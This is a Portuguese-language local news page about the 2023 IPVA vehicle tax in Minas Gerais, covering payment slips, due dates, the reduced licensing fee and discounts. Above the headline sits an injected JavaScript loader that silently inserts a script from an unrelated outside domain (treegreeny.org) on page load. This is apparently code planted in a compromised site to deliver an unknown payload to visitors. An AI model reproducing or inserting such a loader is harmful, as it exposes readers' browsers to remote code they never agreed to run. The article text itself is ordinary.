;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Sai a tabela do IPVA 2023. Pagamento inicia em março e Taxa de Licenciamento cai para R$ 33,66. - Portal Carangola

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Sai a tabela do IPVA 2023. Pagamento inicia em março e Taxa de Licenciamento cai para R$ 33,66.

Foi disponibilizado nesta segunda-feira (2/1) o serviço de emissão da guia para pagamento do Imposto sobre a Propriedade de Veículos Automotores (IPVA) de 2023. O Documento de Arrecadação Estadual (DAE) pode ser gerado pelo site da Secretaria de Estado de Fazenda de Minas Gerais (SEF/MG), bastando informar o número do Renavam do veículo. Para acessar diretamente, clique aqui.

Neste ano, assim como ocorreu em 2022, a escala de vencimentos do IPVA terá início no mês de março, se encerrando em maio para quem optar por parcelar. A medida foi mantida pelo Governo de Minas como forma de aliviar o peso das obrigações dos contribuintes mineiros, que já têm outros compromissos para serem honrados em janeiro.

Taxa de Licenciamento: Na mesma página da internet, é possível gerar o DAE de pagamento da Taxa de Renovação do Licenciamento Anual de Veículo (TRLAV), que vence em 31/3. A novidade é que o valor da taxa caiu para R$ 33,66. No ano passado, o valor cobrado foi de R$ 135,95.

Tanto para o IPVA quanto para a TRLAV, a emissão da guia é opcional. O contribuinte pode efetuar o pagamento diretamente nos agentes arrecadadores (bancos autorizados), bastando informar o número do Renavam no caixa ou terminal de autoatendimento. Alguns bancos também oferecem a opção de pagamento pela internet e aplicativo para telefone celular.

Descontos: o contribuinte que optar por quitar o IPVA em cota única terá desconto de 3%. Para aqueles que se enquadram nos critérios do Programa de Incentivo à Regularidade do Pagamento do IPVA – “Bom Pagador” –, está mantido o desconto adicional de 3%, que já vem abatido no valor a ser pago. O benefício é concedido automaticamente, sem a necessidade de contato prévio com a Secretaria de Fazenda. Tem direito a esse benefício somente os contribuintes que quitaram em dia os débitos vinculados aos veículos nos últimos dois exercícios (2021 e 2022).

 

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